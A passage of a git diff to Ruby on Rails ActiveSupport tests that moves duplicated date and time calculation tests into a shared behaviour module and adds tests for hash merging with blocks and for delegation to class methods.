def test_sunday
assert_equal Date.new(2008,3,2), Date.new(2008,3,02).sunday
assert_equal Date.new(2008,3,2), Date.new(2008,2,29).sunday
@@ -71,41 +70,10 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Date.new(1582,10,1), Date.new(1582,10,15).beginning_of_week #friday
end
- def test_beginning_of_month
- assert_equal Date.new(2005,2,1), Date.new(2005,2,22).beginning_of_month
- end
-
- def test_beginning_of_quarter
- assert_equal Date.new(2005,1,1), Date.new(2005,2,15).beginning_of_quarter
- assert_equal Date.new(2005,1,1), Date.new(2005,1,1).beginning_of_quarter
- assert_equal Date.new(2005,10,1), Date.new(2005,12,31).beginning_of_quarter
- assert_equal Date.new(2005,4,1), Date.new(2005,6,30).beginning_of_quarter
- end
-
- def test_end_of_week
- assert_equal Date.new(2008,2,24), Date.new(2008,2,22).end_of_week
- assert_equal Date.new(2008,3,2), Date.new(2008,2,25).end_of_week #monday
- assert_equal Date.new(2008,3,2), Date.new(2008,2,26).end_of_week #tuesday
- assert_equal Date.new(2008,3,2), Date.new(2008,2,27).end_of_week #wednesday
- assert_equal Date.new(2008,3,2), Date.new(2008,2,28).end_of_week #thursday
- assert_equal Date.new(2008,3,2), Date.new(2008,2,29).end_of_week #friday
- assert_equal Date.new(2008,3,2), Date.new(2008,3,01).end_of_week #saturday
- assert_equal Date.new(2008,3,2), Date.new(2008,3,02).end_of_week #sunday
- end
-
def test_end_of_week_in_calendar_reform
assert_equal Date.new(1582,10,17), Date.new(1582,10,4).end_of_week #thursday
end
- def test_end_of_quarter
- assert_equal Date.new(2008,3,31), Date.new(2008,2,15).end_of_quarter
- assert_equal Date.new(2008,3,31), Date.new(2008,3,31).end_of_quarter
- assert_equal Date.new(2008,12,31), Date.new(2008,10,8).end_of_quarter
- assert_equal Date.new(2008,6,30), Date.new(2008,4,14).end_of_quarter
- assert_equal Date.new(2008,6,30), Date.new(2008,5,31).end_of_quarter
- assert_equal Date.new(2008,9,30), Date.new(2008,8,21).end_of_quarter
- end
-
def test_end_of_year
assert_equal Date.new(2008,12,31).to_s, Date.new(2008,2,22).end_of_year.to_s
end
@@ -116,57 +84,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Date.new(2005,4,30), Date.new(2005,4,20).end_of_month
end
- def test_beginning_of_year
- assert_equal Date.new(2005,1,1).to_s, Date.new(2005,2,22).beginning_of_year.to_s
- end
-
- def test_weeks_ago
- assert_equal Date.new(2005,5,10), Date.new(2005,5,17).weeks_ago(1)
- assert_equal Date.new(2005,5,10), Date.new(2005,5,24).weeks_ago(2)
- assert_equal Date.new(2005,5,10), Date.new(2005,5,31).weeks_ago(3)
- assert_equal Date.new(2005,5,10), Date.new(2005,6,7).weeks_ago(4)
- assert_equal Date.new(2006,12,31), Date.new(2007,2,4).weeks_ago(5)
- end
-
- def test_months_ago
- assert_equal Date.new(2005,5,5), Date.new(2005,6,5).months_ago(1)
- assert_equal Date.new(2004,11,5), Date.new(2005,6,5).months_ago(7)
- assert_equal Date.new(2004,12,5), Date.new(2005,6,5).months_ago(6)
- assert_equal Date.new(2004,6,5), Date.new(2005,6,5).months_ago(12)
- assert_equal Date.new(2003,6,5), Date.new(2005,6,5).months_ago(24)
- end
-
- def test_months_since
- assert_equal Date.new(2005,7,5), Date.new(2005,6,5).months_since(1)
- assert_equal Date.new(2006,1,5), Date.new(2005,12,5).months_since(1)
- assert_equal Date.new(2005,12,5), Date.new(2005,6,5).months_since(6)
- assert_equal Date.new(2006,6,5), Date.new(2005,12,5).months_since(6)
- assert_equal Date.new(2006,1,5), Date.new(2005,6,5).months_since(7)
- assert_equal Date.new(2006,6,5), Date.new(2005,6,5).months_since(12)
- assert_equal Date.new(2007,6,5), Date.new(2005,6,5).months_since(24)
- assert_equal Date.new(2005,4,30), Date.new(2005,3,31).months_since(1)
- assert_equal Date.new(2005,2,28), Date.new(2005,1,29).months_since(1)
- assert_equal Date.new(2005,2,28), Date.new(2005,1,30).months_since(1)
- assert_equal Date.new(2005,2,28), Date.new(2005,1,31).months_since(1)
- end
-
- def test_years_ago
- assert_equal Date.new(2004,6,5), Date.new(2005,6,5).years_ago(1)
- assert_equal Date.new(1998,6,5), Date.new(2005,6,5).years_ago(7)
- assert_equal Date.new(2003,2,28), Date.new(2004,2,29).years_ago(1) # 1 year ago from leap day
- end
-
- def test_years_since
- assert_equal Date.new(2006,6,5), Date.new(2005,6,5).years_since(1)
- assert_equal Date.new(2012,6,5), Date.new(2005,6,5).years_since(7)
- assert_equal Date.new(2182,6,5), Date.new(2005,6,5).years_since(177)
- assert_equal Date.new(2005,2,28), Date.new(2004,2,29).years_since(1) # 1 year since leap day
- end
-
- def test_prev_year
- assert_equal Date.new(2004,6,5), Date.new(2005,6,5).prev_year
- end
-
def test_prev_year_in_leap_years
assert_equal Date.new(1999,2,28), Date.new(2000,2,29).prev_year
end
@@ -187,10 +104,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Date.new(1582,10,4), Date.new(1583,10,14).last_year
end
- def test_next_year
- assert_equal Date.new(2006,6,5), Date.new(2005,6,5).next_year
- end
-
def test_next_year_in_leap_years
assert_equal Date.new(2001,2,28), Date.new(2000,2,29).next_year
end
@@ -199,24 +112,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Date.new(1582,10,4), Date.new(1581,10,10).next_year
end
- def test_yesterday
- assert_equal Date.new(2005,2,21), Date.new(2005,2,22).yesterday
- assert_equal Date.new(2005,2,28), Date.new(2005,3,2).yesterday.yesterday
- end
-
- def test_yesterday_in_calendar_reform
- assert_equal Date.new(1582,10,4), Date.new(1582,10,15).yesterday
- end
-
- def test_tomorrow
- assert_equal Date.new(2005,2,23), Date.new(2005,2,22).tomorrow
- assert_equal Date.new(2005,3,2), Date.new(2005,2,28).tomorrow.tomorrow
- end
-
- def test_tomorrow_in_calendar_reform
- assert_equal Date.new(1582,10,15), Date.new(1582,10,4).tomorrow
- end
-
def test_advance
assert_equal Date.new(2006,2,28), Date.new(2005,2,28).advance(:years => 1)
assert_equal Date.new(2005,6,28), Date.new(2005,2,28).advance(:months => 4)
@@ -249,14 +144,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
end
- def test_prev_week
- assert_equal Date.new(2005,5,9), Date.new(2005,5,17).prev_week
- assert_equal Date.new(2006,12,25), Date.new(2007,1,7).prev_week
- assert_equal Date.new(2010,2,12), Date.new(2010,2,19).prev_week(:friday)
- assert_equal Date.new(2010,2,13), Date.new(2010,2,19).prev_week(:saturday)
- assert_equal Date.new(2010,2,27), Date.new(2010,3,4).prev_week(:saturday)
- end
-
def test_last_week
assert_equal Date.new(2005,5,9), Date.new(2005,5,17).last_week
assert_equal Date.new(2006,12,25), Date.new(2007,1,7).last_week
@@ -265,38 +152,15 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Date.new(2010,2,27), Date.new(2010,3,4).last_week(:saturday)
end
- def test_next_week
- assert_equal Date.new(2005,2,28), Date.new(2005,2,22).next_week
- assert_equal Date.new(2005,3,4), Date.new(2005,2,22).next_week(:friday)
- assert_equal Date.new(2006,10,30), Date.new(2006,10,23).next_week
- assert_equal Date.new(2006,11,1), Date.new(2006,10,23).next_week(:wednesday)
- end
-
def test_next_week_in_calendar_reform
assert_equal Date.new(1582,10,15), Date.new(1582,9,30).next_week(:friday)
assert_equal Date.new(1582,10,18), Date.new(1582,10,4).next_week
end
- def test_next_month_on_31st
- assert_equal Date.new(2005, 9, 30), Date.new(2005, 8, 31).next_month
- end
-
- def test_prev_month_on_31st
- assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).prev_month
- end
-
def test_last_month_on_31st
assert_equal Date.new(2004, 2, 29), Date.new(2004, 3, 31).last_month
end
- def test_next_quarter_on_31st
- assert_equal Date.new(2005, 11, 30), Date.new(2005, 8, 31).next_quarter
- end
-
- def test_prev_quarter_on_31st
- assert_equal Date.new(2004, 2, 29), Date.new(2004, 5, 31).prev_quarter
- end
-
def test_last_quarter_on_31st
assert_equal Date.new(2004, 2, 29), Date.new(2004, 5, 31).last_quarter
end
@@ -420,13 +284,6 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
end
- def test_today
- Date.stubs(:current).returns(Date.new(2000, 1, 1))
- assert_equal false, Date.new(1999, 12, 31).today?
- assert_equal true, Date.new(2000,1,1).today?
- assert_equal false, Date.new(2000,1,2).today?
- end
-
def test_past
Date.stubs(:current).returns(Date.new(2000, 1, 1))
assert_equal true, Date.new(1999, 12, 31).past?
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index 21b7efdc73..b1d1e8ecb4 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -1,7 +1,14 @@
require 'abstract_unit'
require 'active_support/time'
+require 'core_ext/date_and_time_behavior'
class DateTimeExtCalculationsTest < ActiveSupport::TestCase
+ def date_time_init(year,month,day,hour,minute,second,*args)
+ DateTime.civil(year,month,day,hour,minute,second)
+ end
+
+ include DateAndTimeBehavior
+
def test_to_s
datetime = DateTime.new(2005, 2, 21, 14, 30, 0, 0)
assert_equal "2005-02-21 14:30:00", datetime.to_s(:db)
@@ -54,35 +61,6 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal 86399,DateTime.civil(2005,1,1,23,59,59).seconds_since_midnight
end
- def test_days_to_week_start
- assert_equal 0, Time.local(2011,11,01,0,0,0).days_to_week_start(:tuesday)
- assert_equal 1, Time.local(2011,11,02,0,0,0).days_to_week_start(:tuesday)
- assert_equal 2, Time.local(2011,11,03,0,0,0).days_to_week_start(:tuesday)
- assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
- assert_equal 4, Time.local(2011,11,05,0,0,0).days_to_week_start(:tuesday)
- assert_equal 5, Time.local(2011,11,06,0,0,0).days_to_week_start(:tuesday)
- assert_equal 6, Time.local(2011,11,07,0,0,0).days_to_week_start(:tuesday)
-
- assert_equal 3, Time.local(2011,11,03,0,0,0).days_to_week_start(:monday)
- assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
- assert_equal 3, Time.local(2011,11,05,0,0,0).days_to_week_start(:wednesday)
- assert_equal 3, Time.local(2011,11,06,0,0,0).days_to_week_start(:thursday)
- assert_equal 3, Time.local(2011,11,07,0,0,0).days_to_week_start(:friday)
- assert_equal 3, Time.local(2011,11,8,0,0,0).days_to_week_start(:saturday)
- assert_equal 3, Time.local(2011,11,9,0,0,0).days_to_week_start(:sunday)
- end
-
- def test_beginning_of_week
- assert_equal DateTime.civil(2005,1,31), DateTime.civil(2005,2,4,10,10,10).beginning_of_week
- assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,28,0,0,0).beginning_of_week #monday
- assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,29,0,0,0).beginning_of_week #tuesday
- assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,30,0,0,0).beginning_of_week #wednesday
- assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,01,0,0,0).beginning_of_week #thursday
- assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,02,0,0,0).beginning_of_week #friday
- assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,03,0,0,0).beginning_of_week #saturday
- assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,12,04,0,0,0).beginning_of_week #sunday
- end
-
def test_beginning_of_day
assert_equal DateTime.civil(2005,2,4,0,0,0), DateTime.civil(2005,2,4,10,10,10).beginning_of_day
end
@@ -99,82 +77,16 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2005,2,4,19,59,59), DateTime.civil(2005,2,4,19,30,10).end_of_hour
end
- def test_beginning_of_month
- assert_equal DateTime.civil(2005,2,1,0,0,0), DateTime.civil(2005,2,22,10,10,10).beginning_of_month
- end
-
- def test_beginning_of_quarter
- assert_equal DateTime.civil(2005,1,1,0,0,0), DateTime.civil(2005,2,15,10,10,10).beginning_of_quarter
- assert_equal DateTime.civil(2005,1,1,0,0,0), DateTime.civil(2005,1,1,0,0,0).beginning_of_quarter
- assert_equal DateTime.civil(2005,10,1,0,0,0), DateTime.civil(2005,12,31,10,10,10).beginning_of_quarter
- assert_equal DateTime.civil(2005,4,1,0,0,0), DateTime.civil(2005,6,30,23,59,59).beginning_of_quarter
- end
-
def test_end_of_month
assert_equal DateTime.civil(2005,3,31,23,59,59), DateTime.civil(2005,3,20,10,10,10).end_of_month
assert_equal DateTime.civil(2005,2,28,23,59,59), DateTime.civil(2005,2,20,10,10,10).end_of_month
assert_equal DateTime.civil(2005,4,30,23,59,59), DateTime.civil(2005,4,20,10,10,10).end_of_month
end
- def test_beginning_of_year
- assert_equal DateTime.civil(2005,1,1,0,0,0), DateTime.civil(2005,2,22,10,10,10).beginning_of_year
- end
-
- def test_weeks_ago
- assert_equal DateTime.civil(2005,5,29,10), DateTime.civil(2005,6,5,10,0,0).weeks_ago(1)
- assert_equal DateTime.civil(2005,5,1,10), DateTime.civil(2005,6,5,10,0,0).weeks_ago(5)
- assert_equal DateTime.civil(2005,4,24,10), DateTime.civil(2005,6,5,10,0,0).weeks_ago(6)
- assert_equal DateTime.civil(2005,2,27,10), DateTime.civil(2005,6,5,10,0,0).weeks_ago(14)
- assert_equal DateTime.civil(2004,12,25,10), DateTime.civil(2005,1,1,10,0,0).weeks_ago(1)
- end
-
- def test_months_ago
- assert_equal DateTime.civil(2005,5,5,10), DateTime.civil(2005,6,5,10,0,0).months_ago(1)
- assert_equal DateTime.civil(2004,11,5,10), DateTime.civil(2005,6,5,10,0,0).months_ago(7)
- assert_equal DateTime.civil(2004,12,5,10), DateTime.civil(2005,6,5,10,0,0).months_ago(6)
- assert_equal DateTime.civil(2004,6,5,10), DateTime.civil(2005,6,5,10,0,0).months_ago(12)
- assert_equal DateTime.civil(2003,6,5,10), DateTime.civil(2005,6,5,10,0,0).months_ago(24)
- end
-
- def test_months_since
- assert_equal DateTime.civil(2005,7,5,10), DateTime.civil(2005,6,5,10,0,0).months_since(1)
- assert_equal DateTime.civil(2006,1,5,10), DateTime.civil(2005,12,5,10,0,0).months_since(1)
- assert_equal DateTime.civil(2005,12,5,10), DateTime.civil(2005,6,5,10,0,0).months_since(6)
- assert_equal DateTime.civil(2006,6,5,10), DateTime.civil(2005,12,5,10,0,0).months_since(6)
- assert_equal DateTime.civil(2006,1,5,10), DateTime.civil(2005,6,5,10,0,0).months_since(7)
- assert_equal DateTime.civil(2006,6,5,10), DateTime.civil(2005,6,5,10,0,0).months_since(12)
- assert_equal DateTime.civil(2007,6,5,10), DateTime.civil(2005,6,5,10,0,0).months_since(24)
- assert_equal DateTime.civil(2005,4,30,10), DateTime.civil(2005,3,31,10,0,0).months_since(1)
- assert_equal DateTime.civil(2005,2,28,10), DateTime.civil(2005,1,29,10,0,0).months_since(1)
- assert_equal DateTime.civil(2005,2,28,10), DateTime.civil(2005,1,30,10,0,0).months_since(1)
- assert_equal DateTime.civil(2005,2,28,10), DateTime.civil(2005,1,31,10,0,0).months_since(1)
- end
-
- def test_years_ago
- assert_equal DateTime.civil(2004,6,5,10), DateTime.civil(2005,6,5,10,0,0).years_ago(1)
- assert_equal DateTime.civil(1998,6,5,10), DateTime.civil(2005,6,5,10,0,0).years_ago(7)
- assert_equal DateTime.civil(2003,2,28,10), DateTime.civil(2004,2,29,10,0,0).years_ago(1) # 1 year ago from leap day
- end
-
- def test_years_since
- assert_equal DateTime.civil(2006,6,5,10), DateTime.civil(2005,6,5,10,0,0).years_since(1)
- assert_equal DateTime.civil(2012,6,5,10), DateTime.civil(2005,6,5,10,0,0).years_since(7)
- assert_equal DateTime.civil(2182,6,5,10), DateTime.civil(2005,6,5,10,0,0).years_since(177)
- assert_equal DateTime.civil(2005,2,28,10), DateTime.civil(2004,2,29,10,0,0).years_since(1) # 1 year since leap day
- end
-
- def test_prev_year
- assert_equal DateTime.civil(2004,6,5,10), DateTime.civil(2005,6,5,10,0,0).prev_year
- end
-
def test_last_year
assert_equal DateTime.civil(2004,6,5,10), DateTime.civil(2005,6,5,10,0,0).last_year
end
- def test_next_year
- assert_equal DateTime.civil(2006,6,5,10), DateTime.civil(2005,6,5,10,0,0).next_year
- end
-
def test_ago
assert_equal DateTime.civil(2005,2,22,10,10,9), DateTime.civil(2005,2,22,10,10,10).ago(1)
assert_equal DateTime.civil(2005,2,22,9,10,10), DateTime.civil(2005,2,22,10,10,10).ago(3600)
@@ -191,16 +103,6 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2005,2,22,10,10,12), DateTime.civil(2005,2,22,10,10,10).since(1.667)
end
- def test_yesterday
- assert_equal DateTime.civil(2005,2,21,10,10,10), DateTime.civil(2005,2,22,10,10,10).yesterday
- assert_equal DateTime.civil(2005,2,28,10,10,10), DateTime.civil(2005,3,2,10,10,10).yesterday.yesterday
- end
-
- def test_tomorrow
- assert_equal DateTime.civil(2005,2,23,10,10,10), DateTime.civil(2005,2,22,10,10,10).tomorrow
- assert_equal DateTime.civil(2005,3,2,10,10,10), DateTime.civil(2005,2,28,10,10,10).tomorrow.tomorrow
- end
-
def test_change
assert_equal DateTime.civil(2006,2,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:year => 2006)
assert_equal DateTime.civil(2005,6,22,15,15,10), DateTime.civil(2005,2,22,15,15,10).change(:month => 6)
@@ -236,14 +138,6 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 22, 58, 59).advance(:months => 1, :hours => 1, :minutes => 1, :seconds => 1)
end
- def test_prev_week
- assert_equal DateTime.civil(2005,2,21), DateTime.civil(2005,3,1,15,15,10).prev_week
- assert_equal DateTime.civil(2005,2,22), DateTime.civil(2005,3,1,15,15,10).prev_week(:tuesday)
- assert_equal DateTime.civil(2005,2,25), DateTime.civil(2005,3,1,15,15,10).prev_week(:friday)
- assert_equal DateTime.civil(2006,10,30), DateTime.civil(2006,11,6,0,0,0).prev_week
- assert_equal DateTime.civil(2006,11,15), DateTime.civil(2006,11,23,0,0,0).prev_week(:wednesday)
- end
-
def test_last_week
assert_equal DateTime.civil(2005,2,21), DateTime.civil(2005,3,1,15,15,10).last_week
assert_equal DateTime.civil(2005,2,22), DateTime.civil(2005,3,1,15,15,10).last_week(:tuesday)
@@ -252,33 +146,10 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2006,11,15), DateTime.civil(2006,11,23,0,0,0).last_week(:wednesday)
end
- def test_next_week
- assert_equal DateTime.civil(2005,2,28), DateTime.civil(2005,2,22,15,15,10).next_week
- assert_equal DateTime.civil(2005,3,4), DateTime.civil(2005,2,22,15,15,10).next_week(:friday)
- assert_equal DateTime.civil(2006,10,30), DateTime.civil(2006,10,23,0,0,0).next_week
- assert_equal DateTime.civil(2006,11,1), DateTime.civil(2006,10,23,0,0,0).next_week(:wednesday)
- end
-
- def test_next_month_on_31st
- assert_equal DateTime.civil(2005, 9, 30), DateTime.civil(2005, 8, 31).next_month
- end
-
- def test_prev_month_on_31st
- assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).prev_month
- end
-
def test_last_month_on_31st
assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).last_month
end
- def test_next_quarter_on_31st
- assert_equal DateTime.civil(2005, 11, 30), DateTime.civil(2005, 8, 31).next_quarter
- end
-
- def test_prev_quarter_on_31st
- assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 5, 31).prev_quarter
- end
-
def test_last_quarter_on_31st
assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 5, 31).last_quarter
end
diff --git a/activesupport/test/core_ext/file_test.rb b/activesupport/test/core_ext/file_test.rb
index 128e956a8c..2c04e9687c 100644
--- a/activesupport/test/core_ext/file_test.rb
+++ b/activesupport/test/core_ext/file_test.rb
@@ -51,7 +51,7 @@ class AtomicWriteTest < ActiveSupport::TestCase
assert !File.exist?(file_name)
end
assert File.exist?(file_name)
- assert_equal 0100666 & ~File.umask, file_mode
+ assert_equal File.probe_stat_in(Dir.pwd).mode, file_mode
assert_equal contents, File.read(file_name)
ensure
File.unlink(file_name) rescue nil
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index 4dc9f57038..01934dd2c3 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -428,6 +428,29 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal 2, hash['b']
end
+ def test_indifferent_merging_with_block
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 1
+ hash['b'] = 3
+
+ other = { 'a' => 4, :b => 2, 'c' => 10 }
+
+ merged = hash.merge(other) { |key, old, new| old > new ? old : new }
+
+ assert_equal HashWithIndifferentAccess, merged.class
+ assert_equal 4, merged[:a]
+ assert_equal 3, merged['b']
+ assert_equal 10, merged[:c]
+
+ other_indifferent = HashWithIndifferentAccess.new('a' => 9, :b => 2)
+
+ merged = hash.merge(other_indifferent) { |key, old, new| old + new }
+
+ assert_equal HashWithIndifferentAccess, merged.class
+ assert_equal 10, merged[:a]
+ assert_equal 5, merged[:b]
+ end
+
def test_indifferent_reverse_merging
hash = HashWithIndifferentAccess.new('some' => 'value', 'other' => 'value')
hash.reverse_merge!(:some => 'noclobber', :another => 'clobber')
@@ -559,6 +582,16 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal expected, hash_1
end
+ def test_deep_merge_with_block
+ hash_1 = { :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } }
+ hash_2 = { :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } }
+ expected = { :a => [:a, "a", 1], :b => "b", :c => { :c1 => [:c1, "c1", 2], :c2 => "c2", :c3 => { :d1 => "d1", :d2 => "d2" } } }
+ assert_equal(expected, hash_1.deep_merge(hash_2) { |k,o,n| [k, o, n] })
+
+ hash_1.deep_merge!(hash_2) { |k,o,n| [k, o, n] }
+ assert_equal expected, hash_1
+ end
+
def test_deep_merge_on_indifferent_access
hash_1 = HashWithIndifferentAccess.new({ :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } })
hash_2 = HashWithIndifferentAccess.new({ :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } })
@@ -825,7 +858,7 @@ class HashToXmlTest < ActiveSupport::TestCase
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street>Paulina</street>))
assert xml.include?(%(<name>David</name>))
- assert xml.include?(%(<age nil="true"></age>))
+ assert xml.include?(%(<age nil="true"/>))
end
def test_one_level_with_skipping_types
@@ -833,7 +866,7 @@ class HashToXmlTest < ActiveSupport::TestCase
assert_equal "<person>", xml.first(8)
assert xml.include?(%(<street>Paulina</street>))
assert xml.include?(%(<name>David</name>))
- assert xml.include?(%(<age nil="true"></age>))
+ assert xml.include?(%(<age nil="true"/>))
end
def test_one_level_with_yielding
diff --git a/activesupport/test/core_ext/module/qualified_const_test.rb b/activesupport/test/core_ext/module/qualified_const_test.rb
index 8af0b9a023..343a848a42 100644
--- a/activesupport/test/core_ext/module/qualified_const_test.rb
+++ b/activesupport/test/core_ext/module/qualified_const_test.rb
@@ -67,17 +67,24 @@ class QualifiedConstTest < ActiveSupport::TestCase
end
test "qualified_const_set" do
- m = Module.new
- assert_equal m, Object.qualified_const_set("QualifiedConstTestMod2", m)
- assert_equal m, ::QualifiedConstTestMod2
-
- # We are going to assign to existing constants on purpose, so silence warnings.
- silence_warnings do
- assert_equal true, QualifiedConstTestMod.qualified_const_set("QualifiedConstTestMod::X", true)
- assert_equal true, QualifiedConstTestMod::X
-
- assert_equal 10, QualifiedConstTestMod::M.qualified_const_set("X", 10)
- assert_equal 10, QualifiedConstTestMod::M::X
+ begin
+ m = Module.new
+ assert_equal m, Object.qualified_const_set("QualifiedConstTestMod2", m)
+ assert_equal m, ::QualifiedConstTestMod2
+
+ # We are going to assign to existing constants on purpose, so silence warnings.
+ silence_warnings do
+ assert_equal true, QualifiedConstTestMod.qualified_const_set("QualifiedConstTestMod::X", true)
+ assert_equal true, QualifiedConstTestMod::X
+
+ assert_equal 10, QualifiedConstTestMod::M.qualified_const_set("X", 10)
+ assert_equal 10, QualifiedConstTestMod::M::X
+ end
+ ensure
+ silence_warnings do
+ QualifiedConstTestMod.qualified_const_set('QualifiedConstTestMod::X', false)
+ QualifiedConstTestMod::M.qualified_const_set('X', 1)
+ end
end
end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index bd41311739..82249ddd1b 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -34,6 +34,12 @@ class Someone < Struct.new(:name, :place)
delegate :street, :city, :to_f, :to => :place
delegate :name=, :to => :place, :prefix => true
delegate :upcase, :to => "place.city"
+ delegate :table_name, :to => :class
+ delegate :table_name, :to => :class, :prefix => true
+
+ def self.table_name
+ 'some_table'
+ end
FAILED_DELEGATE_LINE = __LINE__ + 1
delegate :foo, :to => :place
@@ -111,6 +117,11 @@ class ModuleTest < ActiveSupport::TestCase
assert_equal "DAVID HANSSON", david.upcase
end
+ def test_delegation_to_class_method
+ assert_equal 'some_table', @david.table_name
+ assert_equal 'some_table', @david.class_table_name
+ end
+
def test_missing_delegation_target
assert_raise(ArgumentError) do
Name.send :delegate, :nowhere
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index c34647c1df..8d1a8c628c 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -1,7 +1,7 @@
require 'abstract_unit'
require 'active_support/ordered_hash'
require 'active_support/core_ext/object/to_query'
-require 'active_support/core_ext/string/output_safety.rb'
+require 'active_support/core_ext/string/output_safety'
class ToQueryTest < ActiveSupport::TestCase
def test_simple_conversion
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index dc5ae0eafc..6720ed42f0 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -500,7 +500,7 @@ class OutputSafetyTest < ActiveSupport::TestCase
test "ERB::Util.html_escape should escape unsafe characters" do
string = '<>&"\''
- expected = '&lt;&gt;&amp;&quot;&#x27;'
+ expected = '&lt;&gt;&amp;&quot;&#39;'
assert_equal expected, ERB::Util.html_escape(string)
end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index 412aef9301..6d6757a1b6 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -1,7 +1,14 @@
require 'abstract_unit'
require 'active_support/time'
+require 'core_ext/date_and_time_behavior'
class TimeExtCalculationsTest < ActiveSupport::TestCase
+ def date_time_init(year,month,day,hour,minute,second,usec=0)
+ Time.local(year,month,day,hour,minute,second,usec)
+ end
+
+ include DateAndTimeBehavior
+
def test_seconds_since_midnight
assert_equal 1,Time.local(2005,1,1,0,0,1).seconds_since_midnight
assert_equal 60,Time.local(2005,1,1,0,1,0).seconds_since_midnight
@@ -50,37 +57,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
- def test_beginning_of_week
- assert_equal Time.local(2005,1,31), Time.local(2005,2,4,10,10,10).beginning_of_week
- assert_equal Time.local(2005,11,28), Time.local(2005,11,28,0,0,0).beginning_of_week #monday
- assert_equal Time.local(2005,11,28), Time.local(2005,11,29,0,0,0).beginning_of_week #tuesday
- assert_equal Time.local(2005,11,28), Time.local(2005,11,30,0,0,0).beginning_of_week #wednesday
- assert_equal Time.local(2005,11,28), Time.local(2005,12,01,0,0,0).beginning_of_week #thursday
- assert_equal Time.local(2005,11,28), Time.local(2005,12,02,0,0,0).beginning_of_week #friday
- assert_equal Time.local(2005,11,28), Time.local(2005,12,03,0,0,0).beginning_of_week #saturday
- assert_equal Time.local(2005,11,28), Time.local(2005,12,04,0,0,0).beginning_of_week #sunday
-
- end
-
- def test_days_to_week_start
- assert_equal 0, Time.local(2011,11,01,0,0,0).days_to_week_start(:tuesday)
- assert_equal 1, Time.local(2011,11,02,0,0,0).days_to_week_start(:tuesday)
- assert_equal 2, Time.local(2011,11,03,0,0,0).days_to_week_start(:tuesday)
- assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
- assert_equal 4, Time.local(2011,11,05,0,0,0).days_to_week_start(:tuesday)
- assert_equal 5, Time.local(2011,11,06,0,0,0).days_to_week_start(:tuesday)
- assert_equal 6, Time.local(2011,11,07,0,0,0).days_to_week_start(:tuesday)
-
- assert_equal 3, Time.local(2011,11,03,0,0,0).days_to_week_start(:monday)
- assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
- assert_equal 3, Time.local(2011,11,05,0,0,0).days_to_week_start(:wednesday)
- assert_equal 3, Time.local(2011,11,06,0,0,0).days_to_week_start(:thursday)
- assert_equal 3, Time.local(2011,11,07,0,0,0).days_to_week_start(:friday)
- assert_equal 3, Time.local(2011,11,8,0,0,0).days_to_week_start(:saturday)
- assert_equal 3, Time.local(2011,11,9,0,0,0).days_to_week_start(:sunday)
- end
-
-
def test_beginning_of_day
